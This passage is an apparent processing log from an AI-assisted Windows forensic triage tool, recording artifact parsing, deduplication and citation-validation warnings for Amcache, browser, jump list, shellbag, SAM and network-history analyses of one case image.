      "cited": "wevtutil.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    }
  ],
  "warning_count": 7,
  "warnings": [
    "Note: AI cited column 'Autorunsc.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'sysmon64.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'Install_Sysmon.bat' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'wsmprovhost.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'powershell.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'schtasks.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'wevtutil.exe' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T11:37:50.969Z analysis_started
{
  "artifact_key": "amcache",
  "artifact_name": "Amcache",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T11:37:51.051Z artifact_ai_projection_warning
{
  "artifact_key": "amcache",
  "available_columns": [
    "hostname",
    "domain",
    "mtime_regf",
    "program_id",
    "digest",
    "path",
    "hash_path",
    "name",
    "publisher",
    "version",
    "bin_file_version",
    "product_name",
    "product_version",
    "link_date",
    "bin_product_version",
    "size",
    "language",
    "is_pefile",
    "is_oscomponent",
    "_source",
    "_classification",
    "_generated",
    "_version",
    "install_date",
    "install_date_arp_last_modified",
    "install_date_from_link_file",
    "language_code",
    "msi_package_code",
    "msi_product_code",
    "package_full_name",
    "type",
    "manifest_path",
    "os_version_at_install_time",
    "program_instance_id",
    "registry_key_path",
    "root_dir_path",
    "source",
    "uninstall_string",
    "categories",
    "discovery_method",
    "friendly_name",
    "icon",
    "is_active",
    "is_connected",
    "is_machine_container",
    "is_networked",
    "is_paired",
    "manufacturer",
    "model_id",
    "model_name",
    "model_number",
    "primary_category",
    "state",
    "driver_name",
    "inf",
    "driver_version",
    "product",
    "wdf_version",
    "driver_company",
    "driver_package_strong_name",
    "service",
    "driver_signed",
    "driver_is_kernel_mode",
    "last_write_time",
    "driver_timestamp",
    "image_size"
  ],
  "missing_columns": [
    "ts",
    "last_modified_timestamp",
    "created_timestamp",
    "company_name",
    "file_size"
  ]
}
2026-06-13T11:37:51.121Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed_deduplicated/801988de-0f5b-4a11-848b-ad1e6011fb88__amcache.csv",
  "artifact_key": "amcache",
  "projection_columns": [
    "install_date",
    "path",
    "name",
    "publisher",
    "version",
    "product_name",
    "digest",
    "size",
    "driver_name",
    "service",
    "driver_signed",
    "is_pefile",
    "is_oscomponent",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed/amcache.csv"
}
2026-06-13T11:37:51.123Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed_deduplicated/801988de-0f5b-4a11-848b-ad1e6011fb88__amcache.csv",
  "annotated_rows": 2,
  "artifact_key": "amcache",
  "removed_records": 10,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed/amcache.csv",
  "variant_columns": [
    "install_date"
  ]
}
2026-06-13T11:39:25.707Z analysis_completed
{
  "artifact_key": "amcache",
  "artifact_name": "Amcache",
  "duration_seconds": 94.735868,
  "status": "success",
  "token_count": 538
}
2026-06-13T11:39:25.715Z citation_validation
{
  "artifact_key": "amcache",
  "citation_counts": {
    "columns": {
      "checked": 8,
      "skipped": 0,
      "total": 8
    },
    "row_refs": {
      "checked": 3,
      "skipped": 0,
      "total": 3
    },
    "timestamps": {
      "checked": 2,
      "skipped": 0,
      "total": 2
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "install_date",
      "match_status": "exact",
      "matched_header": "install_date"
    },
    {
      "cited": "Microsoft.Workflow.Compiler.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "csc.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "MavInject32.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "GoogleUpdateComRegisterShell64.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "ncpa_listener.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "OSPPREARM.EXE",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "nfury",
      "match_status": "unverifiable",
      "matched_header": ""
    }
  ],
  "warning_count": 9,
  "warnings": [
    "Note: AI cited timestamp 2018-08-08 which could not be verified in the source data.",
    "Note: AI cited timestamp 2018-09-06 which could not be verified in the source data.",
    "Note: AI cited column 'Microsoft.Workflow.Compiler.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'csc.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'MavInject32.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'GoogleUpdateComRegisterShell64.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'ncpa_listener.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'OSPPREARM.EXE' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'nfury' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T11:39:25.718Z analysis_started
{
  "artifact_key": "userassist",
  "artifact_name": "UserAssist",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T11:39:25.729Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed_deduplicated/801988de-0f5b-4a11-848b-ad1e6011fb88__userassist.csv",
  "artifact_key": "userassist",
  "projection_columns": [
    "ts",
    "path",
    "number_of_executions",
    "application_focus_count",
    "application_focus_duration",
    "username",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed/userassist.csv"
}
2026-06-13T11:39:25.732Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed_deduplicated/801988de-0f5b-4a11-848b-ad1e6011fb88__userassist.csv",
  "annotated_rows": 4,
  "artifact_key": "userassist",
  "removed_records": 4,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed/userassist.csv",
  "variant_columns": [
    "ts"
  ]
}
2026-06-13T11:42:26.181Z analysis_completed
{
  "artifact_key": "userassist",
  "artifact_name": "UserAssist",
  "duration_seconds": 180.459829,
  "status": "success",
  "token_count": 576
}
2026-06-13T11:42:26.188Z citation_validation
{
  "artifact_key": "userassist",
  "citation_counts": {
    "columns": {
      "checked": 0,
      "skipped": 0,
      "total": 0
    },
    "row_refs": {
      "checked": 0,
      "skipped": 0,
      "total": 0
    },
    "timestamps": {
      "checked": 3,
      "skipped": 0,
      "total": 3
    }
  },
  "citation_validation": "checked",
  "warning_count": 0,
  "warnings": []
}
2026-06-13T11:42:26.191Z analysis_started
{
  "artifact_key": "recyclebin",
  "artifact_name": "Recycle Bin",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T11:42:26.198Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed_deduplicated/801988de-0f5b-4a11-848b-ad1e6011fb88__recyclebin.csv",
  "artifact_key": "recyclebin",
  "projection_columns": [
    "ts",
    "path",
    "deleted_path",
    "filesize",
    "username"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed/recyclebin.csv"
}
2026-06-13T11:42:26.201Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed_deduplicated/801988de-0f5b-4a11-848b-ad1e6011fb88__recyclebin.csv",
  "annotated_rows": 0,
  "artifact_key": "recyclebin",
  "removed_records": 0,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed/recyclebin.csv",
  "variant_columns": [
    "ts"
  ]
}
2026-06-13T11:43:49.762Z analysis_completed
{
  "artifact_key": "recyclebin",
  "artifact_name": "Recycle Bin",
  "duration_seconds": 83.567306,
  "status": "success",
  "token_count": 748
}
2026-06-13T11:43:49.767Z citation_validation
{
  "artifact_key": "recyclebin",
  "citation_counts": {
    "columns": {
      "checked": 1,
      "skipped": 0,
      "total": 1
    },
    "row_refs": {
      "checked": 1,
      "skipped": 0,
      "total": 1
    },
    "timestamps": {
      "checked": 3,
      "skipped": 0,
      "total": 3
    }
  },
  "citation_validation": "checked",
  "column_match_results": [
    {
      "cited": "username",
      "match_status": "exact",
      "matched_header": "username"
    }
  ],
  "warning_count": 0,
  "warnings": []
}
2026-06-13T11:43:49.770Z analysis_started
{
  "artifact_key": "browser.history",
  "artifact_name": "Browser History",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T11:43:49.802Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed_deduplicated/801988de-0f5b-4a11-848b-ad1e6011fb88__browser.history.csv",
  "artifact_key": "browser.history",
  "projection_columns": [
    "ts",
    "browser",
    "url",
    "title",
    "host",
    "visit_type",
    "visit_count",
    "typed",
    "hidden",
    "from_url",
    "username",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed/browser.history.csv"
}
2026-06-13T11:43:49.804Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed_deduplicated/801988de-0f5b-4a11-848b-ad1e6011fb88__browser.history.csv",
  "annotated_rows": 60,
  "artifact_key": "browser.history",
  "removed_records": 182,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed/browser.history.csv",
  "variant_columns": [
    "ts"
  ]
}
2026-06-13T11:45:08.723Z analysis_completed
{
  "artifact_key": "browser.history",
  "artifact_name": "Browser History",
  "duration_seconds": 78.950354,
  "status": "success",
  "token_count": 542
}
2026-06-13T11:45:08.730Z citation_validation
{
  "artifact_key": "browser.history",
  "citation_counts": {
    "columns": {
      "checked": 1,
      "skipped": 0,
      "total": 1
    },
    "row_refs": {
      "checked": 0,
      "skipped": 0,
      "total": 0
    },
    "timestamps": {
      "checked": 1,
      "skipped": 0,
      "total": 1
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "nfury",
      "match_status": "unverifiable",
      "matched_header": ""
    }
  ],
  "warning_count": 1,
  "warnings": [
    "Note: AI cited column 'nfury' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T11:45:08.733Z analysis_started
{
  "artifact_key": "browser.downloads",
  "artifact_name": "Browser Downloads",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T11:45:08.741Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed_deduplicated/801988de-0f5b-4a11-848b-ad1e6011fb88__browser.downloads.csv",
  "artifact_key": "browser.downloads",
  "projection_columns": [
    "ts_start",
    "ts_end",
    "browser",
    "path",
    "url",
    "size",
    "state",
    "username"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed/browser.downloads.csv"
}
2026-06-13T11:45:08.744Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed_deduplicated/801988de-0f5b-4a11-848b-ad1e6011fb88__browser.downloads.csv",
  "annotated_rows": 0,
  "artifact_key": "browser.downloads",
  "removed_records": 0,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed/browser.downloads.csv",
  "variant_columns": [
    "ts_start",
    "ts_end"
  ]
}
2026-06-13T11:47:15.139Z analysis_completed
{
  "artifact_key": "browser.downloads",
  "artifact_name": "Browser Downloads",
  "duration_seconds": 126.402409,
  "status": "success",
  "token_count": 853
}
2026-06-13T11:47:15.145Z citation_validation
{
  "artifact_key": "browser.downloads",
  "citation_counts": {
    "columns": {
      "checked": 7,
      "skipped": 0,
      "total": 7
    },
    "row_refs": {
      "checked": 3,
      "skipped": 0,
      "total": 3
    },
    "timestamps": {
      "checked": 5,
      "skipped": 0,
      "total": 5
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "Project_800724_WireTransferInfo.docx",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "ts_start",
      "match_status": "exact",
      "matched_header": "ts_start"
    },
    {
      "cited": "size",
      "match_status": "exact",
      "matched_header": "size"
    },
    {
      "cited": "state",
      "match_status": "exact",
      "matched_header": "state"
    },
    {
      "cited": "perfmonsvc64.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "technicalbird.com",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "nfury",
      "match_status": "unverifiable",
      "matched_header": ""
    }
  ],
  "warning_count": 4,
  "warnings": [
    "Note: AI cited column 'Project_800724_WireTransferInfo.docx' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'perfmonsvc64.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'technicalbird.com' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'nfury' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T11:47:15.148Z analysis_started
{
  "artifact_key": "jumplist.automatic_destination",
  "artifact_name": "Automatic Jump Lists",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T11:47:15.153Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed_deduplicated/801988de-0f5b-4a11-848b-ad1e6011fb88__jumplist.automatic_destination.csv",
  "artifact_key": "jumplist.automatic_destination",
  "projection_columns": [
    "type",
    "application_name",
    "lnk_name",
    "lnk_full_path",
    "lnk_arguments",
    "local_base_path",
    "common_path_suffix",
    "lnk_path",
    "lnk_workdir",
    "lnk_net_name",
    "lnk_device_name",
    "lnk_mtime",
    "lnk_atime",
    "lnk_ctime",
    "target_mtime",
    "target_atime",
    "target_ctime",
    "username"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed/jumplist.automatic_destination.csv"
}
2026-06-13T11:47:15.156Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed_deduplicated/801988de-0f5b-4a11-848b-ad1e6011fb88__jumplist.automatic_destination.csv",
  "annotated_rows": 0,
  "artifact_key": "jumplist.automatic_destination",
  "removed_records": 0,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed/jumplist.automatic_destination.csv",
  "variant_columns": [
    "lnk_arguments",
    "lnk_mtime",
    "lnk_atime",
    "lnk_ctime",
    "target_mtime",
    "target_atime",
    "target_ctime"
  ]
}
2026-06-13T11:48:50.977Z analysis_completed
{
  "artifact_key": "jumplist.automatic_destination",
  "artifact_name": "Automatic Jump Lists",
  "duration_seconds": 95.825262,
  "status": "success",
  "token_count": 501
}
2026-06-13T11:48:50.981Z citation_validation
{
  "artifact_key": "jumplist.automatic_destination",
  "citation_counts": {
    "columns": {
      "checked": 3,
      "skipped": 0,
      "total": 3
    },
    "row_refs": {
      "checked": 0,
      "skipped": 0,
      "total": 0
    },
    "timestamps": {
      "checked": 2,
      "skipped": 0,
      "total": 2
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "nfury",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "administrator",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "range_admin",
      "match_status": "unverifiable",
      "matched_header": ""
    }
  ],
  "warning_count": 3,
  "warnings": [
    "Note: AI cited column 'nfury' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'administrator' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'range_admin' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T11:48:50.984Z analysis_started
{
  "artifact_key": "jumplist.custom_destination",
  "artifact_name": "Custom Jump Lists",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T11:48:51.001Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed_deduplicated/801988de-0f5b-4a11-848b-ad1e6011fb88__jumplist.custom_destination.csv",
  "artifact_key": "jumplist.custom_destination",
  "projection_columns": [
    "type",
    "application_name",
    "lnk_name",
    "lnk_full_path",
    "lnk_arguments",
    "local_base_path",
    "common_path_suffix",
    "lnk_path",
    "lnk_workdir",
    "lnk_net_name",
    "lnk_device_name",
    "lnk_mtime",
    "lnk_atime",
    "lnk_ctime",
    "target_mtime",
    "target_atime",
    "target_ctime",
    "username",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed/jumplist.custom_destination.csv"
}
2026-06-13T11:48:51.005Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed_deduplicated/801988de-0f5b-4a11-848b-ad1e6011fb88__jumplist.custom_destination.csv",
  "annotated_rows": 4,
  "artifact_key": "jumplist.custom_destination",
  "removed_records": 11,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed/jumplist.custom_destination.csv",
  "variant_columns": [
    "lnk_arguments",
    "lnk_mtime",
    "lnk_atime",
    "lnk_ctime",
    "target_mtime",
    "target_atime",
    "target_ctime"
  ]
}
2026-06-13T11:50:14.141Z analysis_completed
{
  "artifact_key": "jumplist.custom_destination",
  "artifact_name": "Custom Jump Lists",
  "duration_seconds": 83.145895,
  "status": "success",
  "token_count": 417
}
2026-06-13T11:50:14.147Z citation_validation
{
  "artifact_key": "jumplist.custom_destination",
  "citation_counts": {
    "columns": {
      "checked": 8,
      "skipped": 0,
      "total": 8
    },
    "row_refs": {
      "checked": 0,
      "skipped": 0,
      "total": 0
    },
    "timestamps": {
      "checked": 2,
      "skipped": 0,
      "total": 2
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "lnk_workdir",
      "match_status": "exact",
      "matched_header": "lnk_workdir"
    },
    {
      "cited": "lnk_net_name",
      "match_status": "exact",
      "matched_header": "lnk_net_name"
    },
    {
      "cited": "lnk_device_name",
      "match_status": "exact",
      "matched_header": "lnk_device_name"
    },
    {
      "cited": "common_path_suffix",
      "match_status": "exact",
      "matched_header": "common_path_suffix"
    },
    {
      "cited": "GettingStarted.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "application_name",
      "match_status": "exact",
      "matched_header": "application_name"
    },
    {
      "cited": "nfury",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "range_admin",
      "match_status": "unverifiable",
      "matched_header": ""
    }
  ],
  "warning_count": 3,
  "warnings": [
    "Note: AI cited column 'GettingStarted.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'nfury' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'range_admin' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T11:50:14.150Z analysis_started
{
  "artifact_key": "shellbags",
  "artifact_name": "Shellbags",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T11:50:14.159Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed_deduplicated/801988de-0f5b-4a11-848b-ad1e6011fb88__shellbags.csv",
  "artifact_key": "shellbags",
  "projection_columns": [
    "ts_mtime",
    "ts_atime",
    "ts_btime",
    "type",
    "path",
    "username",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed/shellbags.csv"
}
2026-06-13T11:50:14.161Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed_deduplicated/801988de-0f5b-4a11-848b-ad1e6011fb88__shellbags.csv",
  "annotated_rows": 23,
  "artifact_key": "shellbags",
  "removed_records": 89,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed/shellbags.csv",
  "variant_columns": [
    "ts_mtime",
    "ts_atime",
    "ts_btime"
  ]
}
2026-06-13T11:51:30.589Z analysis_completed
{
  "artifact_key": "shellbags",
  "artifact_name": "Shellbags",
  "duration_seconds": 76.436353,
  "status": "success",
  "token_count": 1448
}
2026-06-13T11:51:30.594Z citation_validation
{
  "artifact_key": "shellbags",
  "citation_counts": {
    "columns": {
      "checked": 4,
      "skipped": 0,
      "total": 4
    },
    "row_refs": {
      "checked": 11,
      "skipped": 0,
      "total": 11
    },
    "timestamps": {
      "checked": 8,
      "skipped": 0,
      "total": 8
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "administrator",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "ts_atime",
      "match_status": "exact",
      "matched_header": "ts_atime"
    },
    {
      "cited": "ts_btime",
      "match_status": "exact",
      "matched_header": "ts_btime"
    },
    {
      "cited": "ts_mtime",
      "match_status": "exact",
      "matched_header": "ts_mtime"
    }
  ],
  "warning_count": 1,
  "warnings": [
    "Note: AI cited column 'administrator' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T11:51:30.597Z analysis_started
{
  "artifact_key": "sam",
  "artifact_name": "SAM Users",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T11:51:30.601Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed_deduplicated/801988de-0f5b-4a11-848b-ad1e6011fb88__sam.csv",
  "artifact_key": "sam",
  "projection_columns": [
    "ts",
    "rid",
    "username",
    "fullname",
    "admincomment",
    "usercomment",
    "lastlogin",
    "lastpasswordset",
    "lastincorrectlogin",
    "failedlogins",
    "logins",
    "flags",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed/sam.csv"
}
2026-06-13T11:51:30.604Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed_deduplicated/801988de-0f5b-4a11-848b-ad1e6011fb88__sam.csv",
  "annotated_rows": 3,
  "artifact_key": "sam",
  "removed_records": 3,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed/sam.csv",
  "variant_columns": [
    "ts",
    "lastlogin",
    "lastpasswordset",
    "lastincorrectlogin"
  ]
}
2026-06-13T11:57:42.736Z analysis_completed
{
  "artifact_key": "sam",
  "artifact_name": "SAM Users",
  "duration_seconds": 372.136074,
  "status": "success",
  "token_count": 704
}
2026-06-13T11:57:42.741Z citation_validation
{
  "artifact_key": "sam",
  "citation_counts": {
    "columns": {
      "checked": 6,
      "skipped": 0,
      "total": 6
    },
    "row_refs": {
      "checked": 2,
      "skipped": 0,
      "total": 2
    },
    "timestamps": {
      "checked": 6,
      "skipped": 0,
      "total": 6
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "range_admin",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "shieldbase.lan",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "ts",
      "match_status": "exact",
      "matched_header": "ts"
    },
    {
      "cited": "lastlogin",
      "match_status": "exact",
      "matched_header": "lastlogin"
    },
    {
      "cited": "lastpasswordset",
      "match_status": "exact",
      "matched_header": "lastpasswordset"
    },
    {
      "cited": "lastincorrectlogin",
      "match_status": "exact",
      "matched_header": "lastincorrectlogin"
    }
  ],
  "warning_count": 2,
  "warnings": [
    "Note: AI cited column 'range_admin' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'shieldbase.lan' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T11:57:42.744Z analysis_started
{
  "artifact_key": "network_history",
  "artifact_name": "Network History",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T11:57:42.752Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed_deduplicated/801988de-0f5b-4a11-848b-ad1e6011fb88__network_history.csv",
  "artifact_key": "network_history",
  "projection_columns": [
    "created",
    "last_connected",
    "profile_name",
    "description",
    "dns_suffix",
    "first_network",
    "default_gateway_mac",
    "signature",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed/network_history.csv"
}
2026-06-13T11:57:42.754Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed_deduplicated/801988de-0f5b-4a11-848b-ad1e6011fb88__network_history.csv",
  "annotated_rows": 1,
  "artifact_key": "network_history",
  "removed_records": 1,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed/network_history.csv",
  "variant_columns": [
    "created",
    "last_connected",
    "first_network"
  ]
}
2026-06-13T11:58:07.873Z analysis_completed
{
  "artifact_key": "network_history",
  "artifact_name": "Network History",
  "duration_seconds": 25.121712,
  "status": "success",
  "token_count": 481
}
2026-06-13T11:58:07.877Z citation_validation
{
  "artifact_key": "network_history",
  "citation_counts": {
    "columns": {
      "checked": 1,
      "skipped": 0,
      "total": 1
    },
    "row_refs": {
      "checked": 1,
      "skipped": 0,
      "total": 1
    },
    "timestamps": {
      "checked": 4,
      "skipped": 0,
      "total": 4
    }
  },
